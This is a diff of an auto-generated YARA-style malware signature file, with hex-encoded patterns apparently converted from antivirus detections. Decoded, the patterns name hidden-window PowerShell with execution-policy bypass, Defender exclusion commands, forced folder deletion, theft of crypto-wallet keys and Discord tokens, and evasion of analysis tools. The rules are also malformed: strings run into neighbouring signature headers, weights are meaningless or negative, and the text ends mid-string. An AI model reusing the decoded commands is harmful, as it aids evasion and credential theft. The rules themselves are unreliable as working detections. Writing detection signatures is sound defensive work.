{36 30 31 31 36 36 31 33 2d 63 37 34 65 2d 34 31 62 39 2d 62 38 30 65 2d 33 35 65 30 32 66 32 35 38 39 31 65 00 00 78 5d 01 00 01 00 01 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 54 68 65 48 61 63 6b 54 6f 6f 6c 42 6f 78 54 65 65 6b 00 01 00 24 80 01 32 61 61 38 63 32 35 34 2d 62 33 62 33 2d 34 36 39 63 2d 62 30 } //9216 + $a_64_8 = {62 65 31 64 64 31 30 31 63 30 01 00 24 80 01 61 66 65 66 66 35 30 35 2d 31 34 63 31 2d 34 65 63 66 2d 62 37 31 34 2d 61 62 61 63 34 66 } //14691 + $a_38_9 = {37 01 00 24 80 01 34 63 66 34 32 31 36 37 2d 61 35 63 66 2d 34 62 32 64 2d 38 35 62 34 2d 38 65 37 36 34 63 30 38 64 36 62 33 01 00 24 80 01 31 31 38 61 39 } //25698 + condition: + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*28257+(#a_64_2 & 1)*25964+(#a_20_3 & 1)*25188+(#a_32_4 & 1)*12845+(#a_34_5 & 1)*14390+(#a_33_6 & 1)*14178+(#a_01_7 & 1)*9216+(#a_64_8 & 1)*14691+(#a_38_9 & 1)*25698) >=10 + +} +rule _InfrastructureShared_19492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -221677,7 +236087,7 @@ rule _InfrastructureShared_18319{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*12845+(#a_34_2 & 1)*14390+(#a_33_3 & 1)*14178+(#a_01_4 & 1)*9216+(#a_64_5 & 1)*14691+(#a_38_6 & 1)*25698) >=1 } -rule _InfrastructureShared_18320{ +rule _InfrastructureShared_19493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -221693,7 +236103,7 @@ rule _InfrastructureShared_18320{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*25645+(#a_37_2 & 1)*12345+(#a_64_3 & 1)*13665+(#a_00_4 & 1)*2+(#a_61_5 & 1)*14918+(#a_00_6 & 1)*116) >=1 } -rule _InfrastructureShared_18321{ +rule _InfrastructureShared_19494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -221705,7 +236115,7 @@ rule _InfrastructureShared_18321{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_00_3 & 1)*115) >=2 } -rule _InfrastructureShared_18322{ +rule _InfrastructureShared_19495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -221717,7 +236127,7 @@ rule _InfrastructureShared_18322{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28005+(#a_61_2 & 1)*-28655) >=3 } -rule _InfrastructureShared_18323{ +rule _InfrastructureShared_19496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -221731,7 +236141,7 @@ rule _InfrastructureShared_18323{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_61_2 & 1)*281+(#a_19_3 & 1)*1+(#a_00_4 & 1)*68) >=3 } -rule _InfrastructureShared_18324{ +rule _InfrastructureShared_19497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -221744,7 +236154,7 @@ rule _InfrastructureShared_18324{ ((#a_54_0 & 1)*18467+(#a_fe_1 & 1)*4369+(#a_11_2 & 1)*1811+(#a_09_3 & 1)*23816) >=4 } -rule _InfrastructureShared_18325{ +rule _InfrastructureShared_19498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -221757,7 +236167,7 @@ rule _InfrastructureShared_18325{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*21280+(#a_00_3 & 1)*32+(#a_00_4 & 1)*110) >=4 } -rule _InfrastructureShared_18326{ +rule _InfrastructureShared_19499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -221768,7 +236178,7 @@ rule _InfrastructureShared_18326{ ((#a_4c_0 & 1)*21539+(#a_24_2 & 1)*-14520) >=5 } -rule _InfrastructureShared_18327{ +rule _InfrastructureShared_19500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -221782,7 +236192,7 @@ rule _InfrastructureShared_18327{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29264+(#a_25_2 & 1)*12336+(#a_25_3 & 1)*12336+(#a_00_5 & 1)*99) >=5 } -rule _InfrastructureShared_18328{ +rule _InfrastructureShared_19501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -221795,7 +236205,7 @@ rule _InfrastructureShared_18328{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_00_2 & 1)*99+(#a_00_4 & 1)*72) >=6 } -rule _InfrastructureShared_18329{ +rule _InfrastructureShared_19502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221810,7 +236220,7 @@ rule _InfrastructureShared_18329{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_3 & 1)*69+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_18330{ +rule _InfrastructureShared_19503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221827,7 +236237,7 @@ rule _InfrastructureShared_18330{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28161+(#a_6e_2 & 1)*24939+(#a_75_3 & 1)*23553+(#a_3c_4 & 1)*-32477+(#a_73_5 & 1)*25697+(#a_39_6 & 1)*13679+(#a_68_7 & 1)*25933) >=8 } -rule _InfrastructureShared_18331{ +rule _InfrastructureShared_19504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -221845,7 +236255,7 @@ rule _InfrastructureShared_18331{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*26701+(#a_36_2 & 1)*20306+(#a_74_3 & 1)*14454+(#a_5a_4 & 1)*21072+(#a_0d_5 & 1)*-9427+(#a_6f_6 & 1)*385+(#a_30_7 & 1)*12333+(#a_36_8 & 1)*12866) >=9 } -rule _InfrastructureShared_18332{ +rule _InfrastructureShared_19505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -221861,7 +236271,7 @@ rule _InfrastructureShared_18332{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*10242+(#a_65_2 & 1)*25120+(#a_74_3 & 1)*9509+(#a_61_4 & 1)*9573+(#a_65_5 & 1)*26988+(#a_53_6 & 1)*8993) >=10 } -rule _InfrastructureShared_18333{ +rule _InfrastructureShared_19506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -221878,7 +236288,7 @@ rule _InfrastructureShared_18333{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*15917+(#a_5c_2 & 1)*385+(#a_00_3 & 1)*26473+(#a_74_4 & 1)*385+(#a_73_5 & 1)*25970+(#a_6e_6 & 1)*29806+(#a_00_7 & 1)*506) >=10 } -rule _InfrastructureShared_18334{ +rule _InfrastructureShared_19507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -221889,7 +236299,7 @@ rule _InfrastructureShared_18334{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13824) >=11 } -rule _InfrastructureShared_18335{ +rule _InfrastructureShared_19508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 07 00 21 " @@ -221905,7 +236315,7 @@ rule _InfrastructureShared_18335{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*26473+(#a_30_2 & 1)*12593+(#a_53_3 & 1)*7424+(#a_2e_4 & 1)*25972+(#a_53_5 & 1)*21364+(#a_65_6 & 1)*10) >=13 } -rule _InfrastructureShared_18336{ +rule _InfrastructureShared_19509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 16 00 05 00 21 " @@ -221919,7 +236329,7 @@ rule _InfrastructureShared_18336{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27748+(#a_08_2 & 1)*3848+(#a_00_3 & 1)*106+(#a_02_4 & 1)*5631) >=22 } -rule _InfrastructureShared_18337{ +rule _InfrastructureShared_19510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -221935,7 +236345,7 @@ rule _InfrastructureShared_18337{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-256+(#a_10_2 & 1)*-28483+(#a_00_3 & 1)*144+(#a_50_4 & 1)*13059+(#a_10_5 & 1)*-28533+(#a_02_6 & 1)*3377) >=1 } -rule _InfrastructureShared_18338{ +rule _InfrastructureShared_19511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -221946,7 +236356,7 @@ rule _InfrastructureShared_18338{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*8224) >=2 } -rule _InfrastructureShared_18339{ +rule _InfrastructureShared_19512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -221961,7 +236371,7 @@ rule _InfrastructureShared_18339{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_2d_2 & 1)*23085+(#a_0f_3 & 1)*15106+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1) >=2 } -rule _InfrastructureShared_18340{ +rule _InfrastructureShared_19513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -221974,7 +236384,7 @@ rule _InfrastructureShared_18340{ ((#a_46_0 & 1)*21283+(#a_63_1 & 1)*25381+(#a_8d_5 & 1)*14848+(#a_44_6 & 1)*1060) >=3 } -rule _InfrastructureShared_18341{ +rule _InfrastructureShared_19514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -221987,7 +236397,7 @@ rule _InfrastructureShared_18341{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29295+(#a_61_2 & 1)*21348+(#a_45_3 & 1)*28783) >=4 } -rule _InfrastructureShared_18342{ +rule _InfrastructureShared_19515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -222000,7 +236410,7 @@ rule _InfrastructureShared_18342{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_4 & 1)*111+(#a_00_5 & 1)*115) >=4 } -rule _InfrastructureShared_18343{ +rule _InfrastructureShared_19516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -222013,7 +236423,7 @@ rule _InfrastructureShared_18343{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*117+(#a_00_3 & 1)*115+(#a_00_5 & 1)*91) >=4 } -rule _InfrastructureShared_18344{ +rule _InfrastructureShared_19517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -222029,7 +236439,7 @@ rule _InfrastructureShared_18344{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*25976+(#a_46_2 & 1)*30074+(#a_65_3 & 1)*24940+(#a_41_6 & 1)*8448+(#a_65_7 & 1)*24940+(#a_6f_8 & 1)*25973) >=5 } -rule _InfrastructureShared_18345{ +rule _InfrastructureShared_19518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -222044,7 +236454,7 @@ rule _InfrastructureShared_18345{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*24948+(#a_73_2 & 1)*26994+(#a_6e_3 & 1)*30556+(#a_73_4 & 1)*29185+(#a_72_5 & 1)*29806) >=7 } -rule _InfrastructureShared_18346{ +rule _InfrastructureShared_19519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -222061,7 +236471,7 @@ rule _InfrastructureShared_18346{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31091+(#a_6d_2 & 1)*28515+(#a_6e_3 & 1)*30556+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_18347{ +rule _InfrastructureShared_19520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -222079,7 +236489,7 @@ rule _InfrastructureShared_18347{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25700+(#a_68_2 & 1)*385+(#a_01_3 & 1)*29542+(#a_28_4 & 1)*385+(#a_74_5 & 1)*26995+(#a_73_6 & 1)*13863+(#a_4c_7 & 1)*25966+(#a_00_8 & 1)*21325) >=9 } -rule _InfrastructureShared_18348{ +rule _InfrastructureShared_19521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -222097,7 +236507,7 @@ rule _InfrastructureShared_18348{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*26478+(#a_65_2 & 1)*25974+(#a_73_3 & 1)*23667+(#a_72_4 & 1)*26478+(#a_69_5 & 1)*24948+(#a_74_6 & 1)*29283+(#a_69_7 & 1)*18809+(#a_66_8 & 1)*26473) >=9 } -rule _InfrastructureShared_18349{ +rule _InfrastructureShared_19522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -222115,7 +236525,7 @@ rule _InfrastructureShared_18349{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*21249+(#a_72_2 & 1)*18275+(#a_74_3 & 1)*29779+(#a_6c_4 & 1)*25692+(#a_64_6 & 1)*23553+(#a_5c_7 & 1)*12340+(#a_66_8 & 1)*25956+(#a_35_9 & 1)*14385) >=10 } -rule _InfrastructureShared_18350{ +rule _InfrastructureShared_19523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -222133,7 +236543,7 @@ rule _InfrastructureShared_18350{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*27748+(#a_5c_2 & 1)*-32496+(#a_72_3 & 1)*26994+(#a_81_4 & 1)*1+(#a_5e_5 & 1)*0+(#a_43_6 & 1)*-32498+(#a_49_7 & 1)*29793+(#a_69_8 & 1)*18689) >=10 } -rule _InfrastructureShared_18351{ +rule _InfrastructureShared_19524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -222152,7 +236562,7 @@ rule _InfrastructureShared_18351{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*17461+(#a_53_2 & 1)*25458+(#a_79_3 & 1)*29298+(#a_50_5 & 1)*19521+(#a_00_6 & 1)*85+(#a_00_8 & 1)*101+(#a_00_9 & 1)*37+(#a_42_10 & 1)*27503+(#a_08_11 & 1)*11018) >=12 } -rule _InfrastructureShared_18352{ +rule _InfrastructureShared_19525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -222166,7 +236576,7 @@ rule _InfrastructureShared_18352{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*10240+(#a_00_3 & 1)*101+(#a_00_4 & 1)*116+(#a_00_6 & 1)*99) >=2 } -rule _InfrastructureShared_18353{ +rule _InfrastructureShared_19526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -222179,7 +236589,7 @@ rule _InfrastructureShared_18353{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*-23952+(#a_11_2 & 1)*28459+(#a_16_3 & 1)*4874) >=4 } -rule _InfrastructureShared_18354{ +rule _InfrastructureShared_19527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -222193,7 +236603,7 @@ rule _InfrastructureShared_18354{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*50+(#a_c0_2 & 1)*-20736+(#a_72_3 & 1)*29295+(#a_68_4 & 1)*8513) >=4 } -rule _InfrastructureShared_18355{ +rule _InfrastructureShared_19528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -222207,7 +236617,7 @@ rule _InfrastructureShared_18355{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*656+(#a_64_2 & 1)*24941+(#a_20_3 & 1)*19533+(#a_62_5 & 1)*26113) >=5 } -rule _InfrastructureShared_18356{ +rule _InfrastructureShared_19529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -222223,7 +236633,7 @@ rule _InfrastructureShared_18356{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*16896+(#a_00_2 & 1)*101+(#a_00_4 & 1)*109+(#a_23_5 & 1)*9+(#a_70_6 & 1)*29251+(#a_79_7 & 1)*18507) >=8 } -rule _InfrastructureShared_18357{ +rule _InfrastructureShared_19530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -222241,7 +236651,7 @@ rule _InfrastructureShared_18357{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*12592+(#a_59_2 & 1)*19016+(#a_22_3 & 1)*8819+(#a_72_4 & 1)*29556+(#a_61_5 & 1)*26982+(#a_72_6 & 1)*28013+(#a_6d_7 & 1)*27749+(#a_4b_8 & 1)*11873) >=9 } -rule _InfrastructureShared_18358{ +rule _InfrastructureShared_19531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -222259,7 +236669,7 @@ rule _InfrastructureShared_18358{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_5f_8 & 1)*0) >=9 } -rule _InfrastructureShared_18359{ +rule _InfrastructureShared_19532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -222278,7 +236688,7 @@ rule _InfrastructureShared_18359{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*27649+(#a_54_2 & 1)*26990+(#a_61_3 & 1)*12080+(#a_6e_4 & 1)*22330+(#a_72_5 & 1)*-32503+(#a_6d_6 & 1)*21612+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_18360{ +rule _InfrastructureShared_19533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -222302,7 +236712,7 @@ rule _InfrastructureShared_18360{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*385+(#a_74_3 & 1)*26966+(#a_4f_4 & 1)*14414+(#a_33_5 & 1)*13361+(#a_34_6 & 1)*12593+(#a_62_7 & 1)*29793+(#a_44_8 & 1)*26977+(#a_0c_9 & 1)*-29949+(#a_04_10 & 1)*-28568+(#a_e8_11 & 1)*400+(#a_83_12 & 1)*400+(#a_01_13 & 1)*26648+(#a_02_14 & 1)*12079+(#a_00_16 & 1)*32) >=18 } -rule _InfrastructureShared_18361{ +rule _InfrastructureShared_19534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -222320,7 +236730,7 @@ rule _InfrastructureShared_18361{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*13889+(#a_01_2 & 1)*4096+(#a_73_3 & 1)*21505+(#a_8b_4 & 1)*18571+(#a_01_5 & 1)*-31349+(#a_76_6 & 1)*25939+(#a_00_7 & 1)*1+(#a_60_8 & 1)*0) >=19 } -rule _InfrastructureShared_18362{ +rule _InfrastructureShared_19535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,7f 00 65 00 08 00 21 " @@ -222336,7 +236746,7 @@ rule _InfrastructureShared_18362{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28440+(#a_04_2 & 1)*-28523+(#a_e8_3 & 1)*400+(#a_83_4 & 1)*400+(#a_01_5 & 1)*26648+(#a_02_6 & 1)*12079) >=101 } -rule _InfrastructureShared_18363{ +rule _InfrastructureShared_19536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -222347,7 +236757,7 @@ rule _InfrastructureShared_18363{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_18364{ +rule _InfrastructureShared_19537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -222362,7 +236772,7 @@ rule _InfrastructureShared_18364{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_53_3 & 1)*5632+(#a_6f_4 & 1)*27756+(#a_65_5 & 1)*29285+(#a_00_7 & 1)*0) >=3 } -rule _InfrastructureShared_18365{ +rule _InfrastructureShared_19538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -222374,7 +236784,7 @@ rule _InfrastructureShared_18365{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*21248+(#a_00_3 & 1)*0) >=5 } -rule _InfrastructureShared_18366{ +rule _InfrastructureShared_19539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -222388,7 +236798,7 @@ rule _InfrastructureShared_18366{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*66+(#a_00_3 & 1)*514+(#a_00_4 & 1)*20+(#a_4c_5 & 1)*21539) >=6 } -rule _InfrastructureShared_18367{ +rule _InfrastructureShared_19540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -222397,13 +236807,38 @@ rule _InfrastructureShared_18367{ $a_65_1 = {76 3a 54 45 4d 50 01 00 24 01 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f } //8296 $a_74_2 = {20 27 43 3a 27 01 00 3f 01 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 62 79 70 61 73 73 20 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 69 64 64 65 6e 20 2d 43 6f 6d 6d 61 6e 64 01 00 24 01 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 2d 76 65 72 62 20 72 } //20590 $a_73_3 = {70 6f 77 65 72 73 68 65 6c 6c 01 00 36 01 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 69 64 64 65 6e 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 62 79 70 61 73 73 01 00 31 01 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 } //28277 - $a_72_4 = {63 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 00 00 78 60 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 32 35 32 21 4d 54 42 00 01 00 40 81 01 32 37 45 43 44 30 41 35 39 } //28271 - $a_36_5 = {38 41 32 46 44 32 36 34 44 34 32 37 44 46 30 41 31 31 39 39 30 33 45 38 45 41 45 33 38 34 45 34 37 38 39 30 32 35 34 31 37 35 36 46 30 38 39 44 44 31 01 00 40 81 01 } //17720 + $a_72_4 = {63 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 00 00 78 60 01 00 06 00 06 00 11 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 42 44 21 4d 54 42 00 02 00 2c 00 2f 63 20 74 69 6d 65 6f 75 74 20 2f } //28271 + $a_30_5 = {26 20 72 64 20 2f 73 20 2f 71 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 02 00 13 01 5c 4d 6f 6e 65 72 6f 5c 77 61 6c 6c 65 74 2e 6b 65 79 } //8308 condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*8296+(#a_74_2 & 1)*20590+(#a_73_3 & 1)*28277+(#a_72_4 & 1)*28271+(#a_36_5 & 1)*17720) >=6 + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*8296+(#a_74_2 & 1)*20590+(#a_73_3 & 1)*28277+(#a_72_4 & 1)*28271+(#a_30_5 & 1)*8308) >=6 } -rule _InfrastructureShared_18368{ +rule _InfrastructureShared_19541{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 11 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 42 44 21 4d 54 42 00 02 00 2c 00 2f 63 20 74 69 6d 65 6f 75 74 20 2f 74 20 31 30 20 26 20 72 64 20 2f 73 20 2f 71 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 02 00 13 01 5c 4d 6f 6e } //18467 + $a_5c_1 = {61 6c 6c 65 74 2e 6b 65 79 73 02 00 18 01 5c 42 72 61 76 65 57 61 6c 6c 65 74 5c 50 72 65 66 65 72 65 6e 63 65 73 02 00 13 01 5c 44 69 73 63 6f 72 64 5c 74 6f 6b 65 6e 73 2e 74 78 74 01 00 07 81 01 61 70 69 5f 6c 6f 67 01 00 09 81 01 64 69 72 5f 77 61 74 63 68 01 00 07 81 01 76 6d 63 68 65 63 6b 01 00 05 81 01 73 6e 78 68 6b 01 00 } //29285 + $a_61_2 = {67 } //-32504 g + $a_6b_3 = {01 00 08 81 01 61 76 67 68 6f 6f 6b 61 01 00 07 81 01 64 62 67 68 65 6c 70 01 00 07 81 01 70 73 74 6f 72 65 63 01 00 08 81 01 63 6d 64 76 72 74 36 34 01 00 08 81 01 63 6d 64 76 72 74 33 32 01 00 06 81 01 77 70 65 73 70 79 ce ff 16 80 01 2d 4d 61 6c 77 61 72 65 62 79 74 65 73 20 53 63 61 6e 6e 65 72 2d ce ff 16 80 01 53 65 63 75 72 } //28520 + $a_47_4 = {61 72 64 53 44 4b 36 34 2e 64 6c 6c 00 00 78 60 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 32 35 32 21 4d 54 42 00 01 00 40 81 01 32 37 45 43 44 30 41 35 39 38 45 37 36 46 38 41 32 46 44 32 36 34 44 34 32 37 44 46 30 41 31 31 39 39 30 33 45 38 45 41 45 33 38 34 45 34 37 38 39 30 32 35 34 31 37 35 36 } //29801 + $a_39_5 = {44 31 01 00 40 81 01 43 42 44 39 35 41 45 35 45 46 38 38 31 30 36 39 31 45 33 46 43 37 45 46 42 37 43 33 39 45 46 39 46 46 42 36 36 31 31 33 35 44 38 35 38 41 41 30 43 } //12358 + $a_31_6 = {43 37 34 41 30 31 36 30 41 45 01 00 40 81 01 45 37 31 33 44 38 42 33 45 37 33 44 36 38 33 41 46 30 38 34 45 32 33 35 38 46 30 37 30 43 39 46 36 37 30 35 44 30 44 35 36 } //17219 + $a_44_7 = {39 43 32 38 30 43 37 38 45 34 41 31 42 32 38 38 34 46 01 00 11 81 01 47 65 74 52 65 73 6f 75 72 63 65 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 } //14647 + $a_5a_8 = {31 } //-32492 1 + $a_39_9 = {69 67 33 50 51 66 34 30 41 64 6b 35 01 00 25 81 01 24 33 65 31 38 34 64 66 30 2d 34 31 37 35 2d 34 62 39 38 2d 39 61 61 35 2d 64 63 32 30 31 38 33 36 31 32 38 37 00 00 78 60 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 } //14178 + $a_64_10 = {72 2e 53 4c 42 21 4d 54 42 00 01 00 15 81 01 5c 41 66 6b 72 66 74 65 64 65 5c 52 65 64 62 61 79 2e 69 6e 69 01 00 39 81 01 38 38 5c 41 62 68 6f 72 72 65 6e 74 5c 43 72 69 74 69 63 73 68 69 70 5c 54 75 64 73 65 66 69 73 6b 65 